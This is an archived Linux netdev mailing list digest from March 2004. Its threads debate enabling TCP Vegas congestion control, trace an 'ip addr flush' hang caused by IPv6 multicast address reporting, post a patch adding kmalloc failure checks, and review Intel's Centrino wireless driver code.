> > > > > > CONFIG options are of no use vendors who need to ship binary kernels. > > > > > > I can well see a vendor trading scalability for experimental non standard TCP > > > algorithms that tend to be disabled anyways. > > > > If Vegas proves to be as reliable in Linux as BSD, it probably will be the > > default. > > I'm curious what you mean about BSD. Agreed. All BSDs I'm aware of are far more conservative than Linux in TCP algorithms: last time I checked they didn't even have SACK/FACK or the fast retransmit for multiple packets per window algorithms. > I would be very cautious about turning on Vegas by default. In certain > cases, it is exactly the right thing to do. However, in many cases it is > not. Vegas will end up losing when competing against regular Reno-ish > congestion control. Vegas also has issues with timer granularity, and > tuning its parameters can be quite tricky. There are a number of unusual > failure modes as well, such as responding to congestion on the reverse > path, or caused by cross traffic. It would be better to make it a per route flag than a global sysctl at least. Then you could use it for your speed critical high bandwidth WAN link (or whatever it turns out to be good at) and stay conservative and predictable for everything else. And the per TCB overhead everybody has to pay right now is quite big for such an experimental option. -Andi From jheffner@psc.edu Tue Mar 9 10:11:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 10:11:17 -0800 (PST) Received: from mailer1.psc.edu (mailer1.psc.edu [128.182.58.100]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29IBEKO025608 for ; Tue, 9 Mar 2004 10:11:15 -0800 Received: from dexter.psc.edu (dexter.psc.edu [128.182.61.232]) by mailer1.psc.edu (8.12.10/8.12.5) with ESMTP id i29IBB6t021453 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 9 Mar 2004 13:11:11 -0500 (EST) Received: from dexter.psc.edu (dexter.psc.edu [128.182.61.232]) by dexter.psc.edu (8.12.10/8.12.5) with ESMTP id i29IBBOP006097; Tue, 9 Mar 2004 13:11:11 -0500 (EST) Date: Tue, 9 Mar 2004 13:11:11 -0500 (EST) From: John Heffner To: Andi Kleen cc: Stephen Hemminger , linux-net , Subject: Re: [RFC] TCP Vegas for 2.6 In-Reply-To: <20040309180331.GC11604@wotan.suse.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: ClamAV version 'clamd / ClamAV version 0.66', clamav-milter version '0.60p' X-archive-position: 3882 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jheffner@psc.edu Precedence: bulk X-list: netdev Content-Length: 834 Lines: 19 On Tue, 9 Mar 2004, Andi Kleen wrote: > > I would be very cautious about turning on Vegas by default. In certain > > cases, it is exactly the right thing to do. However, in many cases it is > > not. Vegas will end up losing when competing against regular Reno-ish > > congestion control. Vegas also has issues with timer granularity, and > > tuning its parameters can be quite tricky. There are a number of unusual > > failure modes as well, such as responding to congestion on the reverse > > path, or caused by cross traffic. > > It would be better to make it a per route flag than a global sysctl > at least. This makes sense to me. One of the primary uses of Vegas I see in high performance networking is as a work-around for grossly overbuffered routers. This give the right level of control for that purpose. -John From shemminger@osdl.org Tue Mar 9 10:22:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 10:22:38 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29IMOKO026036 for ; Tue, 9 Mar 2004 10:22:25 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i29IM6E29209; Tue, 9 Mar 2004 10:22:06 -0800 Date: Tue, 9 Mar 2004 10:22:06 -0800 From: Stephen Hemminger To: John Heffner Cc: Andi Kleen , linux-net , Subject: Re: [RFC] TCP Vegas for 2.6 Message-Id: <20040309102206.33c1720c@dell_ss3.pdx.osdl.net> In-Reply-To: References: <20040309180331.GC11604@wotan.suse.de> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3883 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1246 Lines: 29 On Tue, 9 Mar 2004 13:11:11 -0500 (EST) John Heffner wrote: > On Tue, 9 Mar 2004, Andi Kleen wrote: > > > > I would be very cautious about turning on Vegas by default. In certain > > > cases, it is exactly the right thing to do. However, in many cases it is > > > not. Vegas will end up losing when competing against regular Reno-ish > > > congestion control. Vegas also has issues with timer granularity, and > > > tuning its parameters can be quite tricky. There are a number of unusual > > > failure modes as well, such as responding to congestion on the reverse > > > path, or caused by cross traffic. > > > > It would be better to make it a per route flag than a global sysctl > > at least. > > This makes sense to me. One of the primary uses of Vegas I see in high > performance networking is as a work-around for grossly overbuffered > routers. This give the right level of control for that purpose. > > -John Every case I tested has vegas faster than the default reno. It is especially noticeable over the DSL. The current implementation is not ready to be turned on by default though. -- Stephen Hemminger mailto:shemminger@osdl.org Open Source Development Lab http://developer.osdl.org/shemminger From niv@us.ibm.com Tue Mar 9 10:59:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 10:59:50 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29IxeKO027344 for ; Tue, 9 Mar 2004 10:59:47 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i29IxZrj009770; Tue, 9 Mar 2004 13:59:35 -0500 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i29IxW50101316; Tue, 9 Mar 2004 11:59:33 -0700 Message-ID: <404E1374.5050600@us.ibm.com> Date: Tue, 09 Mar 2004 10:56:52 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: John Heffner , Andi Kleen , linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 References: <20040309180331.GC11604@wotan.suse.de> <20040309102206.33c1720c@dell_ss3.pdx.osdl.net> In-Reply-To: <20040309102206.33c1720c@dell_ss3.pdx.osdl.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3884 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 567 Lines: 19 Stephen Hemminger wrote: > Every case I tested has vegas faster than the default reno. It is especially > noticeable over the DSL. The current implementation is not ready to be turned > on by default though. Stephen, just a question regarding your testing. (To save me some effort ;-)). What tests did you run, which testcases, and if it wasn't some standard benchmark, will you consider inclusion of those tests into the LTP or equivalent? [Strange words like "leverage" and "synergy" are popping into my head but I'm suppressing them ;)] thanks, Nivedita From shemminger@osdl.org Tue Mar 9 11:03:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 11:03:43 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29J3eKO027710 for ; Tue, 9 Mar 2004 11:03:41 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i29J3NE02818; Tue, 9 Mar 2004 11:03:23 -0800 Date: Tue, 9 Mar 2004 11:03:23 -0800 From: Stephen Hemminger To: Nivedita Singhvi Cc: John Heffner , Andi Kleen , linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 Message-Id: <20040309110323.1295cf92@dell_ss3.pdx.osdl.net> In-Reply-To: <404E1374.5050600@us.ibm.com> References: <20040309180331.GC11604@wotan.suse.de> <20040309102206.33c1720c@dell_ss3.pdx.osdl.net> <404E1374.5050600@us.ibm.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3885 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 848 Lines: 20 On Tue, 09 Mar 2004 10:56:52 -0800 Nivedita Singhvi wrote: > Stephen Hemminger wrote: > > > Every case I tested has vegas faster than the default reno. It is especially > > noticeable over the DSL. The current implementation is not ready to be turned > > on by default though. > > Stephen, just a question regarding your testing. > (To save me some effort ;-)). What tests did you > run, which testcases, and if it wasn't some standard > benchmark, will you consider inclusion of those tests into > the LTP or equivalent? I used ttcp and netperf, but the tests aren't as interesting as setting up the toplogies, like 1G Ethernet; Ethernet -> PPP -> Ethernet and Ethernet -> IRDA -> Ethernet and DSL connections through SSH. Plus, LTP (and are local automated test machines) don't seem to be setup for multi-machine tests. From davem@redhat.com Tue Mar 9 11:25:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 11:25:34 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29JPVKO028603 for ; Tue, 9 Mar 2004 11:25:31 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i29JPUST022111; Tue, 9 Mar 2004 14:25:30 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i29JPU819645; Tue, 9 Mar 2004 14:25:30 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i29JPKeF017308; Tue, 9 Mar 2004 14:25:20 -0500 Date: Tue, 9 Mar 2004 11:25:29 -0800 From: "David S. Miller" To: Olaf Kirch Cc: netdev@oss.sgi.com Subject: Re: ip addr flush hangs Message-Id: <20040309112529.4c013b9c.davem@redhat.com> In-Reply-To: <20040309150730.GE14419@suse.de> References: <20040309144824.GD14419@suse.de> <20040309150730.GE14419@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3886 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 282 Lines: 8 On Tue, 9 Mar 2004 16:07:30 +0100 Olaf Kirch wrote: > The attached patch disables reporting of multicast and anycast > addresses in inet6_dump_ifaddr Better to fix /sbin/ip, Andi Kleen posted a patch for that tool in a thread on linux-kernel about this very issue. From niv@us.ibm.com Tue Mar 9 11:39:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 11:39:33 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29JdMKO029253 for ; Tue, 9 Mar 2004 11:39:31 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i29JdGF4371162; Tue, 9 Mar 2004 14:39:16 -0500 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i29JdE50099564; Tue, 9 Mar 2004 12:39:15 -0700 Message-ID: <404E1CC2.1010300@us.ibm.com> Date: Tue, 09 Mar 2004 11:36:34 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: John Heffner , Andi Kleen , linux-net , netdev@oss.sgi.com Subject: Re: [RFC] TCP Vegas for 2.6 References: <20040309180331.GC11604@wotan.suse.de> <20040309102206.33c1720c@dell_ss3.pdx.osdl.net> <404E1374.5050600@us.ibm.com> <20040309110323.1295cf92@dell_ss3.pdx.osdl.net> In-Reply-To: <20040309110323.1295cf92@dell_ss3.pdx.osdl.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3887 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1091 Lines: 31 Stephen Hemminger wrote: > I used ttcp and netperf, but the tests aren't as interesting as setting up the > toplogies, like 1G Ethernet; Ethernet -> PPP -> Ethernet and Ethernet -> IRDA -> Ethernet > and DSL connections through SSH. Plus, LTP (and are local automated test machines) > don't seem to be setup for multi-machine tests. I agree the environments are more interesting in this case - but not sure about just using ttcp and netperf in this case. Single stream, I presume? Both are blasting out data without disk I/O occurring. I'm concerned about enterprise server situations seeing a hit due to the memory/cacheline impact - i.e. catch the environments where this is not going to be of help. We might be able to get some other performance benchmark run data (Specweb* ?). I'm trying to solve two problems - testing of the current mainline kernel for the new features that have gone in and also helping the testing guys with the automated testing of kernel.org kernels for networking stuff (solving that multi- machine problem if they haven't already).. thanks, Nivedita From ak@suse.de Tue Mar 9 11:44:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 11:44:37 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29JiYKO029663 for ; Tue, 9 Mar 2004 11:44:34 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id BE7212BDD8C; Tue, 9 Mar 2004 20:44:26 +0100 (CET) Date: Tue, 9 Mar 2004 20:44:26 +0100 From: Andi Kleen To: "David S. Miller" Cc: Olaf Kirch , netdev@oss.sgi.com Subject: Re: ip addr flush hangs Message-ID: <20040309194426.GA12648@wotan.suse.de> References: <20040309144824.GD14419@suse.de> <20040309150730.GE14419@suse.de> <20040309112529.4c013b9c.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040309112529.4c013b9c.davem@redhat.com> X-archive-position: 3888 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 497 Lines: 14 On Tue, Mar 09, 2004 at 11:25:29AM -0800, David S. Miller wrote: > On Tue, 9 Mar 2004 16:07:30 +0100 > Olaf Kirch wrote: > > > The attached patch disables reporting of multicast and anycast > > addresses in inet6_dump_ifaddr > > Better to fix /sbin/ip, Andi Kleen posted a patch for that tool > in a thread on linux-kernel about this very issue. The patch was buggy unfortunately - it fixed one case, but broke another. Fixing the root cause like Olaf proposes is better. -Andi From davem@redhat.com Tue Mar 9 11:47:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 11:47:03 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29Jl0KO030006 for ; Tue, 9 Mar 2004 11:47:01 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i29Jl0ST029510; Tue, 9 Mar 2004 14:47:00 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i29Jl0826412; Tue, 9 Mar 2004 14:47:00 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i29JkneF030272; Tue, 9 Mar 2004 14:46:50 -0500 Date: Tue, 9 Mar 2004 11:46:58 -0800 From: "David S. Miller" To: Andi Kleen Cc: okir@suse.de, netdev@oss.sgi.com Subject: Re: ip addr flush hangs Message-Id: <20040309114658.23c5c02c.davem@redhat.com> In-Reply-To: <20040309194426.GA12648@wotan.suse.de> References: <20040309144824.GD14419@suse.de> <20040309150730.GE14419@suse.de> <20040309112529.4c013b9c.davem@redhat.com> <20040309194426.GA12648@wotan.suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3889 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 241 Lines: 9 On Tue, 9 Mar 2004 20:44:26 +0100 Andi Kleen wrote: > The patch was buggy unfortunately - it fixed one case, but broke another. > Fixing the root cause like Olaf proposes is better. Ok, I'll review Olaf's patch then. Thanks. From okir@suse.de Tue Mar 9 12:37:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 12:37:55 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29KbgKO001989 for ; Tue, 9 Mar 2004 12:37:42 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 9F82D238BE7; Tue, 9 Mar 2004 20:47:56 +0100 (CET) Date: Tue, 9 Mar 2004 20:47:56 +0100 From: Olaf Kirch To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: ip addr flush hangs Message-ID: <20040309194756.GA11916@suse.de> References: <20040309144824.GD14419@suse.de> <20040309150730.GE14419@suse.de> <20040309112529.4c013b9c.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <20040309112529.4c013b9c.davem@redhat.com> User-Agent: Mutt/1.4i X-archive-position: 3890 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev Content-Length: 1045 Lines: 25 On Tue, Mar 09, 2004 at 11:25:29AM -0800, David S. Miller wrote: > > The attached patch disables reporting of multicast and anycast > > addresses in inet6_dump_ifaddr > > Better to fix /sbin/ip, Andi Kleen posted a patch for that tool > in a thread on linux-kernel about this very issue. His patch breaks ip addr flush completely, because it breaks the loop before flushing the RTM_DELADDR packet to the netlink socket. Even if you fix it to break out ofthe loop in the proper place, it is still not entirely correct. ip does addr list and addr flush in a loop, because netlink can return only so many addresses in one packet. If you break out of the loop unconditionally, as Andi does in his patch, you break ip addr list/flush for systems with more than the normal number of addresses per device. I think IPv6 is really wrong in reporting multicast addresses via RTM_GETADDR. IPv4 doesn't do this either. Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ From krkumar@us.ibm.com Tue Mar 9 13:39:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 13:39:44 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29LdYKO003771 for ; Tue, 9 Mar 2004 13:39:40 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i29LdSF4126310; Tue, 9 Mar 2004 16:39:28 -0500 Received: from [9.47.18.241] (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i29LdRZc375080; Tue, 9 Mar 2004 14:39:27 -0700 Date: Tue, 9 Mar 2004 13:36:14 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-009047018241 To: "David S. Miller" cc: netdev@oss.sgi.com, Subject: [PATCH] Trivial kmalloc failure checks In-Reply-To: <20040113232009.008a57a7.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3891 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2541 Lines: 66 Hi Dave, A couple of checks for memory allocation failures. Thanks, - KK diff -ruN linux-2.6.4-rc2-bk5.org/net/ipv4/esp4.c linux-2.6.4-rc2-bk5/net/ipv4/esp4.c --- linux-2.6.4-rc2-bk5.org/net/ipv4/esp4.c 2004-03-09 13:11:15.000000000 -0800 +++ linux-2.6.4-rc2-bk5/net/ipv4/esp4.c 2004-03-09 13:29:44.000000000 -0800 @@ -518,6 +518,8 @@ esp->conf.padlen = 0; if (esp->conf.ivlen) { esp->conf.ivec = kmalloc(esp->conf.ivlen, GFP_KERNEL); + if (unlikely(esp->conf.ivec == NULL)) + goto error; get_random_bytes(esp->conf.ivec, esp->conf.ivlen); } crypto_cipher_setkey(esp->conf.tfm, esp->conf.key, esp->conf.key_len); diff -ruN linux-2.6.4-rc2-bk5.org/net/ipv4/ip_output.c linux-2.6.4-rc2-bk5/net/ipv4/ip_output.c --- linux-2.6.4-rc2-bk5.org/net/ipv4/ip_output.c 2004-03-09 13:18:50.000000000 -0800 +++ linux-2.6.4-rc2-bk5/net/ipv4/ip_output.c 2004-03-09 13:20:10.000000000 -0800 @@ -761,8 +761,11 @@ */ opt = ipc->opt; if (opt) { - if (inet->cork.opt == NULL) + if (inet->cork.opt == NULL) { inet->cork.opt = kmalloc(sizeof(struct ip_options) + 40, sk->sk_allocation); + if (unlikely(inet->cork.opt == NULL)) + return -ENOBUFS; + } memcpy(inet->cork.opt, opt, sizeof(struct ip_options)+opt->optlen); inet->cork.flags |= IPCORK_OPT; inet->cork.addr = ipc->addr; diff -ruN linux-2.6.4-rc2-bk5.org/net/ipv6/esp6.c linux-2.6.4-rc2-bk5/net/ipv6/esp6.c --- linux-2.6.4-rc2-bk5.org/net/ipv6/esp6.c 2004-03-09 13:10:42.000000000 -0800 +++ linux-2.6.4-rc2-bk5/net/ipv6/esp6.c 2004-03-09 13:30:03.000000000 -0800 @@ -422,6 +422,8 @@ esp->conf.padlen = 0; if (esp->conf.ivlen) { esp->conf.ivec = kmalloc(esp->conf.ivlen, GFP_KERNEL); + if (unlikely(esp->conf.ivec == NULL)) + goto error; get_random_bytes(esp->conf.ivec, esp->conf.ivlen); } crypto_cipher_setkey(esp->conf.tfm, esp->conf.key, esp->conf.key_len); diff -ruN linux-2.6.4-rc2-bk5.org/net/ipv6/ip6_output.c linux-2.6.4-rc2-bk5/net/ipv6/ip6_output.c --- linux-2.6.4-rc2-bk5.org/net/ipv6/ip6_output.c 2004-03-09 13:10:42.000000000 -0800 +++ linux-2.6.4-rc2-bk5/net/ipv6/ip6_output.c 2004-03-09 13:20:29.000000000 -0800 @@ -816,9 +816,12 @@ * setup for corking */ if (opt) { - if (np->cork.opt == NULL) + if (np->cork.opt == NULL) { np->cork.opt = kmalloc(opt->tot_len, sk->sk_allocation); + if (unlikely(np->cork.opt == NULL)) + return -ENOBUFS; + } memcpy(np->cork.opt, opt, opt->tot_len); inet->cork.flags |= IPCORK_OPT; /* need source address above miyazawa*/ From jgarzik@pobox.com Tue Mar 9 13:57:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Mar 2004 13:57:28 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i29LvPKO004603 for ; Tue, 9 Mar 2004 13:57:26 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35872 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B0pE4-0002HP-FL; Tue, 09 Mar 2004 21:57:24 +0000 Message-ID: <404E3DB8.1000000@pobox.com> Date: Tue, 09 Mar 2004 16:57:12 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jketreno@linux.co.intel.com CC: Netdev , Linus Torvalds Subject: Centrino wireless review Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3892 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 5810 Lines: 169 Thanks much to you and Intel for publishing this! 0) is the firmware blob truly a firmware blob, and not an x86 ELF blob? In other words, will this firmware work on non-x86? 1) No locking in av5100_set_radio 2) proc_set_radio should not assume "any user data other than zero" means affirmative. Reverse the sense of that test: You want "1" to indicate affirmative, and "anything other than 1" to mean negative. 3) handle !CONFIG_PROC_FS 4) any use of "volatile" is probably a bug. Either a memory barrier is needed, or cpu_relax(), or similar... 5) tasklets and work queues exist in both 2.4 and 2.6: +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,0) + struct tasklet_struct irq_tasklet; +#else + struct work_struct irq_work; + struct work_struct reset_work; + struct work_struct tx_work; +#endif So, if you want to use tasklets in 2.6, you may do so. If you want to use work queues in 2.4, then simply provide the following substitution: s/work_struct/tq_struct/ s/schedule_work/schedule_task/ 6) unacceptably long wait in ipw2100_wait_for_card_state(). You want to do a schedule_timeout() from a kernel thread, if you really need to wait that long. 7) ditto sw_reset_and_clock 8) you want to use TASK_UNINTERRUPTIBLE, since you're delaying for hardware and don't care about signals sent to your thread: + for (i = 0, check = 0; + i < MAX_RF_KILL_CHECKS && check < RF_KILL_CHECK_THRESHOLD; + i++) { + set_current_state(TASK_INTERRUPTIBLE); + schedule_timeout(RF_KILL_CHECK_DELAY); 9) ditto + if ((val1 & IPW2100_CONTROL_PHY_OFF) && + (val2 & IPW2100_COMMAND_PHY_OFF)) { + priv->phy_off = 1; + return 0; + } + + set_current_state(TASK_INTERRUPTIBLE); + schedule_timeout(HW_PHY_OFF_LOOP_DELAY); + } 10) unfortunately, the return value of pci_map_single() does not indicate failure. While I applaud your efforts to check the return value (I wish more programmers did!), the PCI DMA API currently assumes success :( Further and more importantly, zero can be a valid return value. + packet->rxp = (struct ipw2100_rx_packet *)packet->skb->data; + packet->dma_addr = pci_map_single(priv->pdev, packet->skb->data, + sizeof(struct ipw2100_rx_packet), + PCI_DMA_FROMDEVICE); + if (!packet->dma_addr) { 11) for the fragments being handled in X__ipw2100_tx_send_data, are you calling pci_map_single() more than once on the same skb data? 12) you disable hardware interrupts in ipw2100_interrupt before taking your spinlock... racy 13) no need to use spin_lock_irqsave() in your interrupt handler, spin_lock() is fine 14) check for inta==0 (no work... shared interrupt) and inta=0xffffffff (hardware disappeared) in your interrupt handler, before actually doing any real work. 15) persuant to #14, that implies you return a different value from your interrupt handler (IRQ_NONE/IRQ_HANDLED) depending on conditions 16) prefer ethtool's NIC-specific statistics feature, for exporting your own statistics 17) ditto for dumping hardware registers, EEPROM, etc. 18) this code in ipw2100_open() implies an incorrect assumption: + + if (!priv->initialized) { In dev->open(), you want to wake up the hardware initialize the hardware initialize the link and likewise in dev->close() you do the opposite, in the opposite order. The net stack guarantees there will be no operations while these functions are running, so there should be no need for an initialized flag at all. This also serves to provide the user a way to reset the hardware, in the event that the driver does not notice the hardware has gone "out to lunch." 19) in ipw2100_tx_timeout(), you should never call netif_{start,wake}_queue() without first doing something to ensure that you can transmit. A simple thing would be to simply drop all TX skb's. 20) (simple) propagate 'err' return value to caller, instead of just returning ENODEV: + err = pci_set_dma_mask(pdev, PCI_DMA_32BIT); + if (err) 